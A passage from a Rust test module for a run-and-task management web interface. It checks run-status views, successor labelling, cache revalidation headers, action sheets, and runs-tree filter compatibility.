16418        write_run(&runs, b, RunStatus::Blocked);
16419        write_run(&runs, c, RunStatus::Merged);
16420
16421        let mut t = Task::new(
16422            "retried twice".to_owned(),
16423            "do it".to_owned(),
16424            PathBuf::from("/repo"),
16425            Source::Human,
16426        );
16427        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16428        q.put(&mut t).expect("put");
16429
16430        let view = fx.get(&format!("/api/runs/{a}")).await.json();
16431        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16432        assert_eq!(
16433            view["latest_attempt"]["id"], c,
16434            "the chain's current head, not the intermediate Blocked retry"
16435        );
16436        assert_eq!(view["latest_attempt"]["resolved"], true);
16437
16438        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16439        assert_eq!(mid["latest_attempt"]["id"], c);
16440        assert_eq!(mid["latest_attempt"]["resolved"], true);
16441    }
16442
16443    #[tokio::test]
16444    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16445        let fx = Fixture::start().await;
16446        let q = fx.queue();
16447        let runs = fx.runs();
16448
16449        // Still Blocked: the task is not resolved, so the older run must not
16450        // read as settled either.
16451        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16452        write_run(&runs, still_blocked_a, RunStatus::Blocked);
16453        write_run(&runs, still_blocked_b, RunStatus::Blocked);
16454        let mut t1 = Task::new(
16455            "still stuck".to_owned(),
16456            "do it".to_owned(),
16457            PathBuf::from("/repo"),
16458            Source::Human,
16459        );
16460        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16461        q.put(&mut t1).expect("put");
16462        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16463        assert_eq!(view1["latest_attempt"]["resolved"], false);
16464        assert_eq!(view1["latest_attempt"]["status"], "blocked");
16465        assert_eq!(view1["latest_attempt"]["done"], true);
16466
16467        // Still running: the successor exists and must be reported as such.
16468        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16469        write_run(&runs, run_a, RunStatus::Blocked);
16470        write_run(&runs, run_b, RunStatus::Implementing);
16471        let mut t3 = Task::new(
16472            "retrying".to_owned(),
16473            "do it".to_owned(),
16474            PathBuf::from("/repo"),
16475            Source::Human,
16476        );
16477        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16478        q.put(&mut t3).expect("put");
16479        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16480        assert_eq!(view3["latest_attempt"]["id"], run_b);
16481        assert_eq!(view3["latest_attempt"]["resolved"], false);
16482        assert_eq!(view3["latest_attempt"]["done"], false);
16483
16484        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
16485        // to check - not a confirmed finish, so this must not read as
16486        // resolved either, even though the run is done in the sense that
16487        // nothing is still running.
16488        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16489        write_run(&runs, noop_a, RunStatus::Blocked);
16490        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16491        let mut t2 = Task::new(
16492            "claims done".to_owned(),
16493            "do it".to_owned(),
16494            PathBuf::from("/repo"),
16495            Source::Human,
16496        );
16497        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16498        q.put(&mut t2).expect("put");
16499        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16500        assert_eq!(
16501            view2["latest_attempt"]["resolved"], false,
16502            "an unverified no-op claim must not read as a confirmed finish"
16503        );
16504
16505        // Front end: an unresolved successor must not carry the "finished
16506        // this work" note or the muted chip treatment.
16507        assert!(APP_JS.contains("latest.resolved"));
16508        // ...but the link to it shows as soon as it exists, labelled by state
16509        // and without the "finished" wording or the muted chip.
16510        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16511        assert!(APP_JS.contains("Latest attempt: "));
16512        assert!(APP_JS.contains("in flight"));
16513        assert!(APP_JS.contains("not resolved"));
16514    }
16515
16516    #[tokio::test]
16517    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16518        let fx = Fixture::start().await;
16519        // No cache header at all meant browsers invented their own policy,
16520        // and one did: a phone went on showing "Candidates must be folded
16521        // before deleting. Run `magi fold` first." - deleted two releases
16522        // earlier - from a deck that no longer contained the sentence. The
16523        // button it named was right there, and unreachable.
16524        let js = fx.get("/app.js").await;
16525        assert_eq!(js.status, 200);
16526        let tag = js
16527            .header("etag")
16528            .expect("an etag to revalidate against")
16529            .to_owned();
16530        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16531        assert_eq!(
16532            js.header("cache-control"),
16533            Some("no-cache, must-revalidate"),
16534            "the phone has to ask every time"
16535        );
16536
16537        // And the asking has to be cheap, or `must-revalidate` just means
16538        // "send the whole interface on every load".
16539        let again = fx
16540            .get_with("/app.js", &[("if-none-match", tag.as_str())])
16541            .await;
16542        assert_eq!(
16543            again.status, 304,
16544            "a deck it already has costs one round trip"
16545        );
16546        assert!(again.body.is_empty(), "304 carries no body");
16547
16548        // A weakened tag from a proxy still matches; a different build does
16549        // not, which is the case that has to deliver the new interface.
16550        let weak = fx
16551            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16552            .await;
16553        assert_eq!(weak.status, 304);
16554        let stale = fx
16555            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16556            .await;
16557        assert_eq!(stale.status, 200, "an older build must be replaced");
16558        assert!(stale.body.contains("renderRunActions"));
16559    }
16560
16561    #[test]
16562    fn the_task_detail_has_an_actions_fab_and_sheet() {
16563        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16564        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16565        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16566        // Shown only on the task route, closed everywhere else.
16567        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16568        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16569        // Refreshed whenever the detail redraws, including the loading state.
16570        assert!(APP_JS.contains("renderTaskActions(task);"));
16571        assert!(APP_JS.contains("renderTaskActions(null);"));
16572        // Same renderers and routes as the Queue card, no new endpoint.
16573        let sheet = APP_JS
16574            .find("function renderTaskActions")
16575            .expect("sheet renderer");
16576        let body = &APP_JS[sheet..sheet + 3000];
16577        assert!(body.contains("changePriority("));
16578        assert!(body.contains("openTaskEdit(task)"));
16579        assert!(body.contains("renderTaskHoldBox(host"));
16580        assert!(body.contains("renderTaskDoneBox(host"));
16581        assert!(body.contains("renderTaskDeleteBox(host"));
16582        assert!(APP_JS.contains("API.priority(id)"));
16583        assert!(APP_JS.contains("API.deleteTask(id)"));
16584        // A deleted task sends the operator back to the queue.
16585        assert!(APP_JS.contains("location.hash = \"#/queue\""));
16586        // A refusal is shown inside the sheet.
16587        assert!(APP_JS.contains("$(\"task-actions-error\")"));
16588    }
16589
16590    #[test]
16591    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16592        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16593        let actions = INDEX_HTML
16594            .find("id=\"run-actions-box\"")
16595            .expect("actions box");
16596        assert!(task < actions, "the task entry comes first in the sheet");
16597        assert!(APP_JS.contains("renderRunTaskEntry"));
16598        assert!(APP_JS.contains("\"Open task \""));
16599        // A run without a task says why there is nothing to open.
16600        assert!(APP_JS.contains("started directly, no task"));
16601        assert!(APP_JS.contains("sheet-task-link"));
16602        assert!(APP_JS.contains("task-chip-link"));
16603    }
16604
16605    #[test]
16606    fn the_deck_never_sends_the_operator_to_a_terminal() {
16607        // The whole point of the phone UI is that a terminal is not needed.
16608        // The delete control used to answer with "Run `magi fold` first."
16609        assert!(
16610            !APP_JS.contains("Run `magi fold` first"),
16611            "the deck must offer the fold, not prescribe a shell command"
16612        );
16613        assert!(APP_JS.contains("foldRun:"));
16614        assert!(APP_JS.contains("resumeRun:"));
16615        assert!(APP_JS.contains("renderRunActions"));
16616
16617        // Folding is destructive and armed in two steps, like deleting.
16618        assert!(APP_JS.contains("armedFold"));
16619        assert!(APP_JS.contains("Yes, fold worktrees"));
16620
16621        // And the copy has to say that the two actions are opposites, because
16622        // folding throws away exactly what a resume would continue from.
16623        assert!(APP_JS.contains("can no longer be resumed"));
16624    }
16625
16626    #[test]
16627    fn a_finished_run_explains_itself_with_its_own_last_line() {
16628        // The deck used to answer "why did this stop?" with a sentence chosen
16629        // by status alone. Run e633 stalled because two judges answered with
16630        // the wrong JSON shape and its card said "The panel collapsed on
16631        // agent quota" - with `quota: []` in the record and a quota-loss
16632        // counter right above it that correctly said nothing.
16633        assert!(
16634            !APP_JS.contains("collapsed on agent quota"),
16635            "a stall must not be explained by a cause the deck did not check"
16636        );
16637        assert!(
16638            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16639            "and a block must not offer a guess with an `or` in it"
16640        );
16641
16642        // The reason it does have is `run.event`, which must reach finished
16643        // runs: gating it on movement hid the recorded truth at the one moment
16644        // the operator is reading the card to find out what happened.
16645        assert!(
16646            APP_JS.contains("setText(r.event, run.event || \"\")"),
16647            "the run's last line is rendered unconditionally"
16648        );
16649        assert!(
16650            !APP_JS.contains("moving && run.event"),
16651            "and never gated on the run still moving"
16652        );
16653
16654        // Quota keeps its own counter, fed by the number actually recorded.
16655        assert!(APP_JS.contains("lost to quota"));
16656    }
16657
16658    /// The runs tree (section) and the state chips (waiting/done) are two
16659    /// independent lenses ANDed together in `renderRuns`, and some pairings
16660    /// can never both be true for any run - every "Landed"/"Ended" run is
16661    /// done by construction, so pairing either with "Active" or "In flight"
16662    /// always rendered zero cards with the filter bar still claiming
16663    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
16664    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
16665    /// a handful of (waiting, status) shapes standing in for the run
16666    /// lifecycle, because `cargo test` cannot execute the front end.
16667    ///
16668    /// That stand-in list is itself the part that drifted twice in review:
16669    /// once shipped with `waiting: true` paired with a done status the
16670    /// lifecycle cannot produce, then over-corrected into treating every
16671    /// waiting run as never done - which made "Waiting on you" look
16672    /// incompatible with "Done" even for the one real, reachable shape
16673    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
16674    /// that combination. This test parses the shapes and the done-rule back
16675    /// out of `APP_JS`, reimplements `runSection` and the five state
16676    /// predicates independently in Rust, and checks the resulting
16677    /// section/filter compatibility table against the lifecycle rules by
16678    /// hand - so either direction of drift fails it again.
16679    #[test]
16680    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16681        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16682        let shapes_body_start =
16683            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16684        let shapes_close = APP_JS[shapes_body_start..]
16685            .find("].map(")
16686            .expect("the shape list is closed by its done-computing .map(...)")
16687            + shapes_body_start;
16688        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16689
16690        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16691        for entry in shapes_src.split('{').skip(1) {
16692            let waiting = entry.contains("waiting: true");
16693            let dead = entry.contains("live: \"dead\"");
16694            let status_at =
16695                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16696            let status_end = entry[status_at..]
16697                .find('"')
16698                .expect("the status string is closed")
16699                + status_at;
16700            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16701        }
16702        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16703
16704        // The done rule itself (`!["implementing"].includes(shape.status)`),
16705        // read out of the source rather than hardcoded, so a renamed
16706        // in-flight status can't silently make every parsed shape "done".
16707        let done_rule_marker = "done: !";
16708        let done_rule_at = APP_JS[shapes_close..]
16709            .find(done_rule_marker)
16710            .expect("the done rule follows the shape list")
16711            + shapes_close
16712            + done_rule_marker.len();
16713        let includes_at = APP_JS[done_rule_at..]
16714            .find(".includes(shape.status)")
16715            .expect("the done rule ends in .includes(shape.status)")
16716            + done_rule_at;
16717        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16718            .trim()
16719            .trim_start_matches('[')
16720            .trim_end_matches(']')
16721            .split(',')
16722            .map(|s| s.trim().trim_matches('"'))
16723            .filter(|s| !s.is_empty())
16724            .collect();
16725
16726        let shapes: Vec<(bool, String, bool, bool)> = shapes
16727            .into_iter()
16728            .map(|(waiting, status, dead)| {
16729                let done = !not_done.contains(&status.as_str());
16730                (waiting, status, dead, done)
16731            })
16732            .collect();
16733
16734        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
16735        // outright, then merged/ready land, stalled/blocked/failed/
16736        // verified_noop end, and everything else is still in flight.
16737        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16738            if waiting {
16739                return "waiting";
16740            }
16741            if dead
16742                && !matches!(
16743                    status,
16744                    "merged"
16745                        | "ready"
16746                        | "stalled"
16747                        | "blocked"
16748                        | "failed"
16749                        | "verified_noop"
16750                        | "superseded"
16751                        | "already_in_base"
16752                )
16753            {
16754                return "stale";
16755            }
16756            match status {
16757                "merged" | "ready" => "landed",
16758                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16759                | "already_in_base" => "ended",
16760                _ => "flight",
16761            }
16762        }
16763
16764        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
16765        // way.
16766        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16767            match filter_key {
16768                "active" => !done,
16769                "flight" => !done && !waiting && !dead,
16770                "stale" => !done && !waiting && dead,
16771                "waiting" => waiting,
16772                "done" => done,
16773                "all" => true,
16774                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16775            }
16776        }
16777
16778        let compatible = |section: &str, filter_key: &str| {
16779            shapes.iter().any(|(waiting, status, dead, done)| {
16780                run_section(*waiting, status, *dead) == section
16781                    && filter_matches(filter_key, *waiting, *dead, *done)
16782            })
16783        };
16784
16785        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
16786        // (active, flight, stale, waiting, done, all) - hand-derived from the
16787        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
16788        // currently contains.
16789        let expected = [
16790            ("waiting", [true, false, false, true, true, true]),
16791            ("stale", [true, false, true, false, false, true]),
16792            ("flight", [true, true, false, false, false, true]),
16793            ("landed", [false, false, false, false, true, true]),
16794            ("ended", [false, false, false, false, true, true]),
16795        ];
16796        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16797
16798        for (section, wants) in expected {
16799            for (filter_key, want) in filter_keys.iter().zip(wants) {
16800                assert_eq!(
16801                    compatible(section, filter_key),
16802                    want,
16803                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16804                );
16805            }
16806        }
16807
16808        // The compatibility check exists only to be acted on: both pickers
16809        // must actually consult it rather than just render its answer.
16810        assert!(
16811            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16812        );
16813        assert!(APP_JS.contains(
16814            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16815        ));
16816        assert!(APP_JS.contains(
16817            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16818        ));
16819    }
16820
16821    #[tokio::test]
16822    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16823        // An operator-named directory - git checkout or not - is never
16824        // second-guessed, even when it does not exist at all: only the
16825        // flag's own unmodified `.` default is ever eligible for discovery.
16826        let dir = tempfile::tempdir().expect("tempdir");
16827        let explicit = dir.path().join("not-a-checkout");
16828        std::fs::create_dir_all(&explicit).expect("create dir");
16829        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16830
16831        let missing = dir.path().join("does-not-exist-at-all");
16832        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16833    }
16834
16835    #[test]
16836    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16837        assert!(APP_JS.contains("function statsDonutArcs"));
16838        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16839        // A bucket click filters by the statuses src/stats.rs counts in it.
16840        assert!(APP_JS.contains("function statusInBucket"));
16841        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16842        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16843        let buckets = [
16844            "merged",
16845            "ready",
16846            "in_progress",
16847            "blocked",
16848            "failed",
16849            "verified_noop",
16850            "superseded",
16851            "stalled",
16852        ];
16853        for key in buckets {
16854            let var = format!("--verdict-{key}:");
16855            // Light, OS-dark and pinned-dark blocks each define it.
16856            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16857            assert!(
16858                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16859                "{key}"
16860            );
16861        }
16862    }
16863}